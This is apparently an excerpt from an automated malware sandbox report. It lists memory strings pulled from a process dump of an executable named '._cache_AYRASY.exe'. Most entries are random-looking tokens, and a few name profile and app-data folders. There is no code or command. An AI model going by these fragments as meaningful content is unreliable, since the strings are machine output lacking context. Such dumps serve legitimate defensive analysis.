Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u9gp8ha2w7mqx	memstr_f95269ca-5
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: q4ia2ok9ii4ajx	memstr_c01e1346-7
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t9pb8qu1c8sgx	memstr_22d49491-a
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t9pb8qu1cleft@x	memstr_3dfb4012-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n8hz1cv2z]x	memstr_9550889a-0
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: m8kg8my1k4avx	memstr_ddb7aa57-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: y0nh9tt7ou5hsx	memstr_04b271d2-3
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: z2nq4ft7qw0z)x	memstr_881aa334-c
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: y0nh9tt7ou5h"x	memstr_798f461c-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: w5nu7fc9gz7m?x	memstr_38beb0b0-8
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: w5nu7fc9gz7m8x	memstr_631fc562-c
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u4tv9td1w0z5x	memstr_cffc7767-5
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u4tv9td1w0zt	memstr_b7d699f4-8
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u4tv9td1w	memstr_2d835d98-c
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v7xl4dd6i4sht	memstr_dc5b22b4-a
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u9gp8ha2w4s	memstr_429ba393-9
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l5me8ge5i	memstr_62c571c4-8
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: q0cx6ts5pi4s	memstr_569506e5-9
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: q4th3hp0a0z	memstr_3e228cb4-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n0bb6xh2sc8sht	memstr_dc2d730c-5
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: q9nf5wu2gh6w	memstr_18fd9264-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v0jp1hr0a5h	memstr_370b3e9b-1
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u9gp8ha2w8st	memstr_5d1ac45d-5
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: q0cx6ts5pi4st	memstr_91f2c7db-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: q4th3hp0a8s	memstr_6f5a88f2-5
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n2xx6fr2hnw	memstr_3d7cb544-3
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: w5nu7fc9gz7mdw	memstr_28e9c0d4-5
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v0jp1hr0aaw	memstr_e2e3b946-0
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u4tv9td1wzw	memstr_e6772b9f-b
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: y0nh9tt7ou5hww	memstr_64d301b9-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u9gp8ha2wpw	memstr_044147e6-a
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: z2nq4ft7qw0zmw	memstr_a5a478db-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: y0nh9tt7ou5hfw	memstr_e4222a0b-7
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: w5nu7fc9gz7mcw	memstr_2c4b70fe-7
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6xh2sc8s\w	memstr_d5c9cf1f-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t0sa3lz2dyw	memstr_9fa18427-0
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: w5nu7fc9gz7m/w	memstr_b8d4548e-2
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: z2nq4ft7qw0z>w	memstr_02b3239f-0
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n2xx6fr2h;w	memstr_44fe3b33-8
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: z2nq4ft7qw0z4w	memstr_54b465b7-0
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n2xx6fr2hright1w	memstr_d8e51342-9
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u9gp8ha2w7mhtw	memstr_8aba6fed-e
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u9gp8ha2w0z	memstr_ef4fea9a-c
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: m4au8wu2ub8u	memstr_2ad6ce6a-b
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: g8co3jy8iy2r	memstr_77c36344-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n6co9mm7g	memstr_a68303af-2
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f6du1ht0ez1y	memstr_7ac2d897-a
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p9fw1cq6d8u`v	memstr_376fd43c-2
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n0bb6xh2sc8ssv	memstr_4ca1403e-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l3cy5rl7mu9tiv	memstr_db0952f4-4
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: m4au8wu2ub8ubv	memstr_64d43ee7-1
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: k4rs9cc4y_v	memstr_2fddaf82-c
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v0jp1hr0axv	memstr_341c32b2-1
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n0bb6xh2sc8s.v	memstr_bb813403-3
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e0yu4to4m+v	memstr_c4810305-c
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u8eo4bx8x$v	memstr_9cc14107-5
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: y0nh9tt7ou5h!v	memstr_3983cbcb-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u9gp8ha2w7m:v	memstr_3ed56922-8
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: userprofiledir7v	memstr_6bb7e514-2
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: q8dx2ru2i0v	memstr_7cab81bf-5
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v7qr1zj0y	memstr_3d66846d-e
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: q8dx2ru2i	memstr_03410820-3
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u9gp8ha2w4a	memstr_8caf21d4-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v0jp1hr0amu	memstr_ad388741-a
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: y0nh9tt7ou5h\|u	memstr_fd8c1012-4
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: o7eg9pv6em4ayu	memstr_cb9bf18a-0
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: w5nu7fc9gz7mru	memstr_2e3060e1-1
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v0jp1hr0aou	memstr_726a3a6a-3
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: appdatadirhu	memstr_7be7b0cf-7
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u9gp8ha2w^u	memstr_e7ee2012-8
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n0bb6xh2sc8s[u	memstr_7b9015a0-0
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: w5nu7fc9gz7mqu	memstr_73a90f44-e
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: o7eg9pv6em4a*u	memstr_00ed6137-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u9gp8ha2w'u	memstr_09539706-9
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v0jp1hr0a8s u	memstr_e3378ea6-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: w5nu7fc9gz7m6u	memstr_285debd4-4
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: y0nh9tt7ou5h3u	memstr_3fc706be-4
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: w5nu7fc9gz7mu	memstr_dd34b7e6-4
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l5me8ge5ileft	memstr_75b190c7-1
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: q4th3hp0a4sht	memstr_9a88a35e-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n8hz1cv2z	memstr_788bdc5a-e
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t9pb8qu1c8s	memstr_0f275be0-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 188405025	memstr_d82d6fa2-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t9pb8qu1cleft	memstr_13f890a3-0
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t4np7lz8iu9f	memstr_b2c78c93-8
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: m8kg8my1klt	memstr_30ab8d88-1
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: y0nh9tt7ou5hit	memstr_2737bacb-0
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v0jp1hr0abt	memstr_e56b96d2-c
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n0bo6ji7js7dht	memstr_bca7353a-1
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v0jp1hr0aleftxt	memstr_7fc238a4-2
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: w5nu7fc9gz7mut	memstr_b1b872e5-7
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: q0cx6ts5pi4snt	memstr_34b2625b-2
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: q0cx6ts5pi4skt	memstr_b06fecb3-8
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v7xl4dd6itdt	memstr_26e0164f-a
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n0bb6xh2sc8sat	memstr_d01a4962-a
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: w5nu7fc9gz7mzt	memstr_f5f0d166-4
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: y0nh9tt7ou5hwt	memstr_96872fe2-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n0bb6xh2sc8spt	memstr_bb3d89d8-0
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u9gp8ha2w5h-t	memstr_6c37a62d-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: y0nh9tt7ou5h&t	memstr_77d17489-3
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: q0cx6ts5pi4s#t	memstr_ddd87680-7
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n0bo6ji7js7d<t	memstr_940c3d1a-9
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: q4th3hp0a8s9t	memstr_05536c6f-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: q9nf5wu2gh6w2t	memstr_5e10c019-3
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v7qr1zj0y7d	memstr_45207b5e-1
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u9gp8ha2w5h	memstr_42e7a763-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: y0nh9tt7ou5hos	memstr_5c4fe480-9
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u9gp8ha2whs	memstr_3f243921-c
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: w5nu7fc9gz7mes	memstr_7e2054db-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n0bb6xh2sc8s~s	memstr_75a214ec-2
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: w5nu7fc9gz7m{s	memstr_0e1f83e5-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n0bb6xh2sc8sts	memstr_f31012cd-1
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v0jp1hr0aqs	memstr_09926f77-9
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: w5nu7fc9gz7mjs	memstr_18bb1346-c
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6xh2sc8sgs	memstr_598bc549-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u9gp8ha2w7m@s	memstr_47c169c0-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n0bo6ji7js7d]s	memstr_97c19313-c
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: y0nh9tt7ou5hvs	memstr_4c81e133-e
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n0bb6xh2sc8sss	memstr_781c7de3-1
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v0jp1hr0a8s,s	memstr_7798d22f-3
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c6mr6dc7zr3r)s	memstr_4a793f95-c
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p6om9pl1b0e?s	memstr_de317263-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0sk9xh8ez0e8s	memstr_407d091b-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c6mr6dc7zr3r	memstr_197b2739-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p6om9pl1b0e	memstr_326d50aa-0
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p6om9pl1b	memstr_f39ea10b-9
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u0sk9xh8ez0e	memstr_1f4ac397-5
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: existsr	memstr_02895346-4
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: x4nk4rj5v8s	memstr_439d143f-0
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p6om9pl1b7l	memstr_103cef8a-0
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: r2xh3yp1ob7l	memstr_b3ea31c8-2
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: k4ha7yg1wr6g	memstr_a14a979d-5
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p6om9pl1b6g	memstr_3c455601-3
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p6om9pl1b6gnr	memstr_6ca83cc5-9
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: k4ha7yg1wr6gkr	memstr_6dd9f404-e
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p6om9pl1b6gdr	memstr_66add8ef-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c6mr6dc7zr3rar	memstr_79ab1471-1
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c7zr3rzr	memstr_81b2db25-2
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c6mr6dc7zr3rwr	memstr_4e8274f1-3
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: witchpr	memstr_ce84b3b5-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c6mr6dc7zr3rcr	memstr_518979b1-5
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: k4ha7yg1wr6gyr	memstr_0f2ed0b6-5
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c6mr6dc7zr3r(r	memstr_07c34925-5
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p6om9pl1b%r	memstr_9d6a8418-3
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p6om9pl1b4r	memstr_d7dc1b2b-c
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p6om9pl1b1r	memstr_79ed27c9-2
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6dc7zr3r	memstr_48ce6fc0-0
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: r7qk0sf0a	memstr_728ebaf9-9
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v1wl4kx8zv2k	memstr_afed2965-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u3xq5wq2ea3m	memstr_4a2b7c12-9
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l5iw0bj8ze0y	memstr_5903b613-b
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l8xy4uj5nx0d	memstr_2f7b98ab-2
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s5gd9ov2tv7ngq	memstr_1bc575e7-a
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p6om9pl1b`q	memstr_f5aab0b2-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t8jj9ic1w}q	memstr_bf93cc42-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c6mr6dc7zr3rvq	memstr_b58cf074-e
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u3xq5wq2ea3msq	memstr_b11b162f-7
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v1wl4kx8zv2klq	memstr_83fcc800-3
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: k4ha7yg1wr6giq	memstr_35b3285d-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s5gd9ov2tv7nbq	memstr_8f76b49f-5
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: k4ha7yg1wr6g_q	memstr_d0d9adfc-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s5gd9ov2tv7nuq	memstr_f70e274f-a
